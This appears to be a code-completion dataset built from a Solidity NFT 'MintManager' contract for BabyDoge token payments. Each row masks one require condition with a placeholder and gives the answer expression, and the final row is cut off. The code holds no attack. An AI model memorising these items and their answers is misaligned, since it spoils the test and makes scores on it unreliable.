| address(0)!=_babyDogeToken&&address(0)!=_stableCollector&&address(0)!=_targetStableCoin&&address(0)!=_router&&(address(0)!=_babyDogeCollector||_toStableCollectorShare==10_000),"invalid address" | 260,159 | address(0)!=_babyDogeToken&&address(0)!=_stableCollector&&address(0)!=_targetStableCoin&&address(0)!=_router&&(address(0)!=_babyDogeCollector||_toStableCollectorShare==10_000) |
"Invalid payment stable coin" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
require(
address(0) != _babyDogeToken
&& address(0) != _stableCollector
&& address(0) != _targetStableCoin
&& address(0) != _router
&& (address(0) != _babyDogeCollector || _toStableCollectorShare == 10_000),
"invalid address"
);
require(_stableMintPrice > 0, "Invalid mint prices");
require(_toStableCollectorShare > 0 && _toStableCollectorShare <= 10_000, "Invalid share");
babyDogeToken = IERC20(_babyDogeToken);
stableCollector = _stableCollector;
babyDogeCollector = _babyDogeCollector;
targetStableCoin = _targetStableCoin;
targetStableCoinDecimals = IERC20Metadata(_targetStableCoin).decimals();
router = IRouter(_router);
WETH = IRouter(_router).WETH();
// Approving BabyDoge to Router
IERC20(_babyDogeToken).approve(_router, type(uint256).max);
for (uint i = 0; i < paymentStableCoins.length; i++) {
require(<FILL_ME>)
approvedStableCoins.add(paymentStableCoins[i]);
tokensInData[paymentStableCoins[i]].stableCoinOnlyDecimals = IERC20Metadata(paymentStableCoins[i]).decimals();
}
stableMintPrice = _stableMintPrice;
toStableCollectorShare = _toStableCollectorShare;
require(address(0) != _validator, "invalid validator");
validator = _validator;
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| paymentStableCoins[i]!=address(0),"Invalid payment stable coin" | 260,159 | paymentStableCoins[i]!=address(0) |
"invalid validator" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
require(
address(0) != _babyDogeToken
&& address(0) != _stableCollector
&& address(0) != _targetStableCoin
&& address(0) != _router
&& (address(0) != _babyDogeCollector || _toStableCollectorShare == 10_000),
"invalid address"
);
require(_stableMintPrice > 0, "Invalid mint prices");
require(_toStableCollectorShare > 0 && _toStableCollectorShare <= 10_000, "Invalid share");
babyDogeToken = IERC20(_babyDogeToken);
stableCollector = _stableCollector;
babyDogeCollector = _babyDogeCollector;
targetStableCoin = _targetStableCoin;
targetStableCoinDecimals = IERC20Metadata(_targetStableCoin).decimals();
router = IRouter(_router);
WETH = IRouter(_router).WETH();
// Approving BabyDoge to Router
IERC20(_babyDogeToken).approve(_router, type(uint256).max);
for (uint i = 0; i < paymentStableCoins.length; i++) {
require(paymentStableCoins[i] != address(0), "Invalid payment stable coin");
approvedStableCoins.add(paymentStableCoins[i]);
tokensInData[paymentStableCoins[i]].stableCoinOnlyDecimals = IERC20Metadata(paymentStableCoins[i]).decimals();
}
stableMintPrice = _stableMintPrice;
toStableCollectorShare = _toStableCollectorShare;
require(<FILL_ME>)
validator = _validator;
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| address(0)!=_validator,"invalid validator" | 260,159 | address(0)!=_validator |
"Invalid individualURI" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
uint256 mintNumber = mintData.length;
// process payment
if (msg.value > 0) {
uint256 _bnbMintPrice = bnbMintPrice() * mintNumber;
require(msg.value >= _bnbMintPrice, "Invalid msg.value");
(bool success,) = stableCollector.call{ value: _bnbMintPrice }("");
require(success, "Couldn't collect BNB");
if (msg.value > _bnbMintPrice) {
(bool returned,) = msg.sender.call{ value: msg.value - _bnbMintPrice }("");
require(returned, "Couldn't return BNB");
}
} else if (paymentToken == address(babyDogeToken)) {
address[] memory path = _getTokenSwapPath(paymentToken);
uint256 _babyDogeMintPrice = _getTokenMintPrice(path) * mintNumber;
uint256 toStables = _babyDogeMintPrice * toStableCollectorShare / 10_000;
uint256 toBabyDogeCollector = _babyDogeMintPrice - toStables;
if (toStables > 0) {
babyDogeToken.safeTransferFrom(msg.sender, address(this), toStables);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
babyDogeToken.balanceOf(address(this)),
0,
path,
stableCollector,
block.timestamp
);
}
if (toBabyDogeCollector > 0) {
babyDogeToken.safeTransferFrom(msg.sender, babyDogeCollector, toBabyDogeCollector);
}
} else if (tokensInData[paymentToken].stableCoinOnlyDecimals != 0) {
IERC20(paymentToken).safeTransferFrom(
msg.sender,
stableCollector,
_getStableCoinMintPrice(paymentToken) * mintNumber
);
} else {
uint16 adminShare = tokensInData[paymentToken].adminShare;
require(adminShare > 0, "Invalid payment token");
uint16 partnerShare = tokensInData[paymentToken].partnerShare;
address[] memory path = _getTokenSwapPath(paymentToken);
uint256 mintPrice = _getTokenMintPrice(path) * mintNumber;
uint256 toStables = mintPrice * adminShare / 10_000;
uint256 toPartners = 0;
uint256 toBurn = 0;
if (adminShare + partnerShare == 10_000) {
toPartners = mintPrice - toStables;
} else {
toPartners = mintPrice * partnerShare / 10_000;
toBurn = mintPrice - (toStables + toPartners);
}
if (toStables > 0) {
IERC20(paymentToken).safeTransferFrom(msg.sender, address(this), toStables);
if (IERC20(paymentToken).allowance(address(this), address(router)) < toStables) {
IERC20(paymentToken).approve(address(router), type(uint256).max);
}
router.swapExactTokensForTokens(toStables, 0, path, stableCollector, block.timestamp);
}
if (toPartners > 0) {
IERC20(paymentToken).safeTransferFrom(
msg.sender,
tokensInData[paymentToken].partnerWallet,
toPartners
);
}
if (toBurn > 0) {
IERC20(paymentToken).safeTransferFrom(msg.sender, DEAD_WALLET, toBurn);
}
}
for (uint i = 0; i < mintData.length; i++) {
require(<FILL_ME>)
require (mintData[i].deadline > block.timestamp, 'Overdue order');
// check signature
bytes32 mintHash = buildMintHash(
address(mintData[i].nftContract),
msg.sender,
mintData[i].tokenId,
mintData[i].individualURI,
mintData[i].deadline
);
(address recoveredAddress, ) = ECDSA.tryRecover(
mintHash,
mintData[i].sig.v,
mintData[i].sig.r,
mintData[i].sig.s
);
require(recoveredAddress == validator && recoveredAddress != address(0), 'Bad signature');
mintData[i].nftContract.mint(
msg.sender,
mintData[i].tokenId,
mintData[i].individualURI
);
}
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| bytes(mintData[i].individualURI).length>0,"Invalid individualURI" | 260,159 | bytes(mintData[i].individualURI).length>0 |
'Overdue order' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
